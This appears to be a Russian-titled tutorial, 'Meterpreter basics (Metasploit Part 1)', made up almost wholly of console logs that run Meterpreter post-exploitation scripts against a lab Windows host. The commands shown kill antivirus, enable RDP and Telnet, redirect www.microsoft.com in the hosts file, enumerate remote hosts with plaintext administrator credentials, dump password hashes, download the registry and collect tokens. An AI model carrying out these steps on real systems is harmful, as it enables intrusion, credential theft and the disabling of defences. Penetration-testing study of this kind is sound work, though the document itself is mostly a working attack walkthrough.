Основы работы в meterpreter (Metasploit Часть1)

 meterpreter > run checkvm
 
 [*] Checking if SSHACKTHISBOX-0 is a Virtual Machine ........
 [*] This is a VMware Workstation/Fusion Virtual Machine

  meterpreter > run getcountermeasure
 
 [*] Running Getcountermeasure on the target...
 [*] Checking for contermeasures...
 [*] Getting Windows Built in Firewall configuration...
 [*]
 [*]     Domain profile configuration:
 [*]     -------------------------------------------------------------------
 [*]     Operational mode                  = Disable
 [*]     Exception mode                    = Enable
 [*]
 [*]     Standard profile configuration:
 [*]     -------------------------------------------------------------------
 [*]     Operational mode                  = Disable
 [*]     Exception mode                    = Enable
 [*]
 [*]     Local Area Connection 6 firewall configuration:
 [*]     -------------------------------------------------------------------
 [*]     Operational mode                  = Disable
 [*]
 [*] Checking DEP Support Policy...

 meterpreter > run getgui
 
 Windows Remote Desktop Enabler Meterpreter Script
 Usage: getgui -u  -p

 
 OPTIONS:
 
 -e   Enable RDP only.
 -h   Help menu.
 -p   The Password of the user to add.
 -u   The Username of the user to add.
 
 meterpreter > run getgui -e
 
 [*] Windows Remote Desktop Configuration Meterpreter Script by Darkoperator
 [*] Carlos Perez carlos_perez@darkoperator.com
 [*] Enabling Remote Desktop
 [*] RDP is already enabled
 [*] Setting Terminal Services service startup mode
 [*] Terminal Services service is already set to auto
 [*] Opening port in local firewall if necessary

 meterpreter > run get_local_subnets


 Local subnet: 10.211.55.0/255.255.255.0

 meterpreter > run gettelnet


 Windows Telnet Server Enabler Meterpreter Script

 Usage: gettelnet -u  -p



 OPTIONS:


 -e   Enable Telnet Server only.

 -h   Help menu.

 -p   The Password of the user to add.

 -u   The Username of the user to add.


 meterpreter > run gettelnet -e


 [*] Windows Telnet Server Enabler Meterpreter Script

 [*] Setting Telnet Server Services service startup mode

 [*] The Telnet Server Services service is not set to auto, changing it to auto ...

 [*] Opening port in local firewall if necessary

meterpreter > run hostsedit

 

 OPTIONS:


 -e   Host entry in the format of IP,Hostname.

 -h   Help Options.

 -l   Text file with list of entries in the format of IP,Hostname. One per line.


 Example:


 run hostsedit -e 127.0.0.1,google.com

 run hostsedit -l /tmp/fakednsentries.txt


 meterpreter > run hostsedit -e 10.211.55.162,www.microsoft.com

 [*] Making Backup of the hosts file.

 [*] Backup loacated in C:\WINDOWS\System32\drivers\etc\hosts62497.back

 [*] Adding Record for Host www.microsoft.com with IP 10.211.55.162

 [*] Clearing the DNS Cache

 meterpreter > run killav


 [*] Killing Antivirus services on the target...

 [*] Killing off cmd.exe...

-u administrator -p ihazpassword -t 10.211.55.128

meterpreter > run remotewinenum


 Remote Windows Enumeration Meterpreter Script

 This script will enumerate windows hosts in the target environment

 given a username and password or using the credential under witch

 Meterpreter is running using WMI wmic windows native tool.

 Usage:


 OPTIONS:


 -h   Help menu.

 -p   Password of user on target system

 -t   The target address

 -u   User on the target system (If not provided it will use credential of process)


 meterpreter > run remotewinenum -u administrator -p ihazpassword -t 10.211.55.128


 [*] Saving report to /root/.msf4/logs/remotewinenum/10.211.55.128_20090711.0142

 [*] Running WMIC Commands ....

 [*]     running command wimic environment list

 [*]     running command wimic share list

 [*]     running command wimic nicconfig list

 [*]     running command wimic computersystem list

 [*]     running command wimic useraccount list

 [*]     running command wimic group list

 [*]     running command wimic sysaccount list

 [*]     running command wimic volume list brief

 [*]     running command wimic logicaldisk get description,filesystem,name,size

 [*]     running command wimic netlogin get name,lastlogon,badpasswordcount

 [*]     running command wimic netclient list brief

 [*]     running command wimic netuse get name,username,connectiontype,localname

 [*]     running command wimic share get name,path

 [*]     running command wimic nteventlog get path,filename,writeable

 [*]     running command wimic service list brief

 [*]     running command wimic process list brief

 [*]     running command wimic startup list full

 [*]     running command wimic rdtoggle list

 [*]     running command wimic product get name,version

 [*]     running command wimic qfe list

meterpreter > run scraper

 

 [*] New session on 10.211.55.128:4444...

 [*] Gathering basic system information...

 [*] Dumping password hashes...

 [*] Obtaining the entire registry...

 [*] Exporting HKCU

 [*] Downloading HKCU (C:\WINDOWS\TEMP\LQTEhIqo.reg)

 [*] Cleaning HKCU

 [*] Exporting HKLM

 [*] Downloading HKLM (C:\WINDOWS\TEMP\GHMUdVWt.reg)

meterpreter > run winenum


 [*] Running Windows Local Enumerion Meterpreter Script

 [*] New session on 10.211.55.128:4444...

 [*] Saving report to /root/.msf4/logs/winenum/10.211.55.128_20090711.0514-99271/10.211.55.128_20090711.0514-99271.txt

 [*] Checking if SSHACKTHISBOX-0 is a Virtual Machine ........

 [*]     This is a VMware Workstation/Fusion Virtual Machine

 [*] Running Command List ...

 [*]     running command cmd.exe /c set

 [*]     running command arp -a

 [*]     running command ipconfig /all

 [*]     running command ipconfig /displaydns

 [*]     running command route print

 [*]     running command net view

 [*]     running command netstat -nao

 [*] Extracting software list from registry

 [*] Finished Extraction of software list from registry

 [*] Dumping password hashes...

 [*] Hashes Dumped

 [*] Getting Tokens...

 [*] All tokens have been processed

 [*] Done!